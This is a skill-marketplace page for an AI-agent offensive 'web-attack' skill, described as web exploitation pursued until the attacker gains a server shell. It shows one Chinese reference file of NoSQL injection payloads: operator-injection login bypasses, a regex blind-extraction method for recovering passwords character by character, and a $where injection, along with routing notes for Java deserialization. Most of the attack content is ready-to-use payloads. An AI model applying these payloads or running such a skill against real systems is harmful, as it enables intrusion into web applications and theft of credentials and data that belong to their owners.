pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/auth-bypass.md
View on GitHub# NoSQL 注入
JWT → `jwt.md`。PHP/.NET 反序列化 → `deserialization.md`。Java → `java-deserialization.md`。
## NoSQL注入
场景:后端MongoDB/CouchDB。登录框、搜索、过滤参数是主要注入点。
### 认证绕过
```json
// 已知用户名
{"user":"admin","pass":{"$ne":null}}
// 连用户名都不知道
{"user":{"$gt":""},"pass":{"$gt":""}}
```
```
// 表单/GET形式
user[$ne]=1&pass[$ne]=1
```
务必设 Content-Type: application/json,否则操作符被当普通字符串。
### 盲注提取数据
```json
{"user":"admin","pass":{"$regex":"^a"}} // 首字符是a?
{"user":"admin","pass":{"$regex":"^ab"}} // 前两位是ab?
// 逐位枚举拼出完整密码
```
自动化:nosqlmap
### $where代码注入
```json
{"$where":"this.pass=='x'||'1'=='1'"}
```
---
## 现代 Java JSON / 反序列化路由
本文件只保留通用识别。发现以下信号时转:**java-deserialization.md**
```text
Java serialized object (AC ED 00 05 / rO0AB)
Jackson polymorphic type / @class / @type
Fastjson 1.x / @type
Java框架错误栈暴露具体依赖
```
尤其是 Fastjson 1.x CVE-2026-16723:产品/版本/部署条件候选先由 `/web-recon` 的 CVE/PoC 流程确认;确认是通用反序列化 sink 再进入 `java-deserialization.md`。
---
## MongoDB `$where` 注意
`$where` / `$function` 属于 MongoDB **服务端 JavaScript**,不是 Node.js runtime:
```text
不能因为语法是JavaScript就直接使用:
require('child_process').exec(...)
```
这类 Node.js `require()` 链不应写成 MongoDB 通用 RCE。
在 NoSQLi 中优先目标仍然是:
```text
operator injection
→ auth bypass
→ boolean/regex oracle
→ sensitive data / token / admin session
→ 再寻找Web层可到Shell的组合点
```
MongoDB 8.x 已把部分 server-side JavaScript 能力标为 deprecated;测试时按版本和实际配置判断,不要把 `$where` 当永远可用。
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| receiving-code-reviewobra/superpowersUse when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| requesting-code-reviewobra/superpowersUse when completing tasks, implementing major features, or before merging to verify work meets requirements | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| using-git-worktreesobra/superpowersUse when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| verification-before-completionobra/superpowersUse when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |